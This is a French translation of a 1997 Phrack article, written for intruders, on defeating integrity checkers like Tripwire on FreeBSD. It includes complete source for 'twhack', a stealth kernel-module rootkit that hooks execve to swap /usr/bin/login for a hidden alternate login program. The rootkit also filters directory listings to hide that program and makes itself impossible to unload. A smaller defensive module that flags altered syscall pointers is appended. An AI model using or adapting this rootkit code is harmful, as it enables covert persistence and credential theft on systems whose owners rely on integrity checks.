---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17
-------------------------[ Bypassing Integrity Checking Systems
--------[ halflife <halflife@infonexus.com>
Nous vivons une époque dans laquelle des intrusions se produisent chaque jour
et il existe une version de "rootkit" pour tous les systèmes d'exploitations
imaginables, bien que la plupart des équipes d'administrateurs système
incompétents ont commencé à utiliser des checksums de leurs fichiers binaires.
Pour la communauté des hackers, il se pose un sérieux problème depuis que
leurs très ingénieux chevaux de Troie sont rapidement détectés et supprimés.
Tripwire est un utilitaire libre et très répandu pour effectuer le contrôle
d'intégrité sur les systèmes UNIX. Cet article examine une méthode simple pour
contourner les contrôles réalisés par tripwire et d'autres programmes de
contrôles d'intégrité.
Avant tout, comment fonctionnent les programmes de contrôles d'intégrité ?
Quand vous les installez pour la première fois, ils calculent un hash (parfois
plusieurs hashes) de tous les fichiers binaires que vous voulez surveiller.
Ensuite, périodiquement, vous lancez le programme de contrôle et il compare le
hash courant avec le hash précédemment enregistré. Si les deux diffèrent,
quelque chose de louche s'est produit, et c'est noté. Différents
algorithmes existent pour réaliser les hashes, le plus répandu est
probablement le hash MD5.
Dans le passé, il y a eu des problèmes avec plusieurs hashes. MD5 a eu
quelques collisions, tout comme beaucoup d'autres algorithmes de hash
sécurisés. Cependant, exploiter les collisions reste encore très très
difficile. Le code présent dans cet article ne dépend pas de l'utilisation
d'un algorithme spécifique, mais se concentre plutôt sur un problème de
confiance -- les programmes de contrôle d'intégrité ont besoin de se baser
sur le système d'exploitation, et quelques uns sur la libc. Dans un code
qui est conçu pour détecter les changements qui devraient normalement
nécessiter un accès root, vous ne pouvez avoir confiance en rien, y compris
votre propre système d'exploitation.
La conception de twhack demande quelques exigences. La première est qu'il ne
nécessite pas une recompilation du noyau ; les modules de noyau chargeables
(Loadable Kernel Modules, LKM) fournissent une solution à cela. La seconde est
qu'il a besoin d'être relativement furtif. J'ai réussi à trouver un moyen
simple pour cacher le LKM dans le noyau de FreeBSD (fonctionne sans doute
sur OpenBSD et NetBSD bien que je ne l'ai pas vérifié). Une fois que le
module est chargé, la première commande ls va effectivement cacher le
module de la vue. Une fois caché, il ne pourra pas être déchargé ou bien vu
avec la commande modunload(8).
Pour commencer, une petite information sur les modules chargeables sous
FreeBSD. J'utilise le type de modules MISC, lequel est grandement similaire
aux modules de Linux. Il vous donne un accès total. L'information
concernant le LKM est stockée dans un tableau de structures. Dans FreeBSD
2.2.1, le tableau peut contenir 20 modules.
Cacher des modules est vraiment simple. Il existe une variable qui détermine
si l'emplacement du module est libre ou non. Quand vous ajoutez un module, le
pilote recherche le premier emplacement de module libre -- l'emplacement libre
est défini comme une entrée avec 0 dans l'emplacement utilisé et place
des informations dans la structure. Cette information est généralement utilisée
pour le déchargement, et nous ne nous intéressons pas à cela, donc ce n'est pas
grave si d'autres modules écrasent notre structure (même si quelques appels
peuvent se produire sur cette information).
Ensuite, nous devons rediriger les appels système qui nous intéressent. C'est
assez similaire aux modules de Linux. Les appels système sont stockés dans un
tableau de structures. La structure contient un pointeur vers l'appel système
et une variable donne le nombre d'arguments. Evidemment, ce qui nous intéresse
est le pointeur. Pour commencer, nous utilisons bcopy pour copier la structure
dans une variable, ensuite nous modifions le pointeur de la fonction pour qu'il
pointe sur notre code. Dans notre code, nous pouvons faire
old_function.sy_call(arguments) pour appeler l'appel système d'origine -- rapide
et sans douleur.
Maintenant que nous savons COMMENT rediriger les appels système, lesquels
allons-nous rediriger et dans quel ordre pour contourner les contrôles
d'intégrité ? Eh bien, il existe beaucoup de façons. Vous pouvez rediriger
open(), stat(), et un tas d'autres qui observent vos programmes modifiés et
redirigent vers une copie de la version non modifiée. Cependant, j'ai
choisi l'approche contraire. Les tentatives de login seront redirigées vers
un autre programme, qui ouvre le véritable programme de login. Dès lors,
nous ne voulons pas que notre programme de login alternatif soit détecté,
j'ai donc modifié getdirentries pour que notre programme ne soit jamais dans
le tampon qu'il renvoie. Le même principe peut être utilisé avec le syscall 156
qui est l'ancien getdirentries, mais je ne pense pas qu'il soit défini et
je ne sais pas tout sur son utilisation, donc ce n'est sans doute pas important.
Malgré les tentatives de le garder caché, il y a quelques moyens de détecter
ce code. Un des moyens pour détecter (et arrêter) le code est fourni. C'est
un simple module furtif qui signale quand une adresse de syscall change,
et annule les changements. Il va arrêter le module twhack donné, mais c'est
LOIN d'être parfait.
Ce que le code de vérification fait est bcopy()-ier la totalité du tableau
sysent dans une copie locale. Ensuite, il enregistre un lien vers at_fork()
et dans ce lien, il vérifie la table des appels système en comparaison avec
celle en mémoire et, si elles diffèrent, il signale les différences et
change l'entrée par la précédente.
<++> twhack/Makefile
CC=gcc
LD=ld
RM=rm
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
LDFLAGS=-r
RST=-DRESTORE_SYSCALLS
all: twhack syscheck
twhack:
$(CC) $(CFLAGS) -c twhack.c
$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
@$(RM) twhack.o
syscheck:
$(CC) $(CFLAGS) -c syscheck.c
$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
@$(RM) syscheck.o
clean:
$(RM) -f *.o
<-->
<++> twhack/twhack.c
/*
** This code is a simple example of bypassing Integrity checking
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
** believed to work (although not tested) in 3.0.
**
** Halflife <halflife@infonexus.com>
*/
/* change these */
#define ALT_LOGIN_PATH "/tmp/foobar"
#define ALT_LOGIN_BASE "foobar"
/* includes */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
/* storage for original execve and getdirentries syscall entries */
static struct sysent old_execve;
static struct sysent old_getdirentries;
/* prototypes for new execve and getdirentries functions */
int new_execve __P((struct proc *p, void *uap, int retval[]));
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
/* flag used for the stealth stuff */
static int hid=0;
/* table we need for the stealth stuff */
static struct lkm_table *table;
/* misc lkm */
MOD_MISC(twhack);
/*
** this code is called when we load or unload the module. unload is
** only possible if we initialize hid to 1
*/
static int
twhack_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
/*
** save execve and getdirentries system call entries
** and point function pointers to our code
*/
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
sysent[SYS_execve].sy_call = new_execve;
bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
sysent[SYS_getdirentries].sy_call = new_getdirentries;
table = l;
break;
/* restore syscall entries to their original condition */
case LKM_E_UNLOAD:
bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
break;
default:
err = EINVAL;
break;
}
return(err);
}
/* entry point to the module */
int
twhack_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
}
/*
** execve is simple, if they attempt to execute /usr/bin/login
** we change fname to ALT_LOGIN_PATH and then call the old execve
** system call.
*/
int
new_execve(struct proc *p, void *uap, int *retval)
{
struct execve_args *u=uap;
if(!strcmp(u->fname, "/usr/bin/login"))
strcpy(u->fname, ALT_LOGIN_PATH);
return old_execve.sy_call(p, uap, retval);
}
/*
** in getdirentries() we call the original syscall first
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
** and ALT_LOGIN_BASE should _always_ be modified and made
** very obscure, perhaps with upper ascii characters.
*/
int
new_getdirentries(struct proc *p, void *uap, int *retval)
{
struct getdirentries_args *u=uap;
struct dirent *dep;
int nbytes;
int r,i;
/* if hid is not set, set the used flag to 0 */
if(!hid)
{
table->used = 0;
hid++;
}
r = old_getdirentries.sy_call(p, uap, retval);
nbytes = *retval;
while(nbytes > 0)
{
dep = (struct dirent *)u->buf;
if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
{
i = nbytes - dep->d_reclen;
bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
*retval = i;
return r;
}
nbytes -= dep->d_reclen;
u->buf += dep->d_reclen;
}
return r;
}
<-->
<++> twhack/syscheck.c
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysproto.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/sysent.h>
#include <sys/lkm.h>
#include <a.out.h>
#include <sys/file.h>
#include <sys/errno.h>
#include <sys/syscall.h>
#include <sys/dirent.h>
static int hid=0;
static struct sysent table[SYS_MAXSYSCALL];
static struct lkm_table *boo;
MOD_MISC(syscheck);
void check_sysent(struct proc *, struct proc *, int);
static int
syscheck_load(struct lkm_table *l, int cmd)
{
int err = 0;
switch(cmd)
{
case LKM_E_LOAD:
if(lkmexists(l))
return(EEXIST);
bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
boo=l;
at_fork(check_sysent);
break;
case LKM_E_UNLOAD:
rm_at_fork(check_sysent);
break;
default:
err = EINVAL;
break;
}
return(err);
}
int
syscheck_mod(struct lkm_table *l, int cmd, int ver)
{
DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
}
void
check_sysent(struct proc *parent, struct proc *child, int flags)
{
int i;
if(!hid)
{
boo->used = 0;
hid++;
}
for(i=0;i < SYS_MAXSYSCALL;i++)
{
if(sysent[i].sy_call != table[i].sy_call)
{
printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
#ifdef RESTORE_SYSCALLS
sysent[i].sy_call = table[i].sy_call;
#endif
}
}
}
<-->
----[ EOF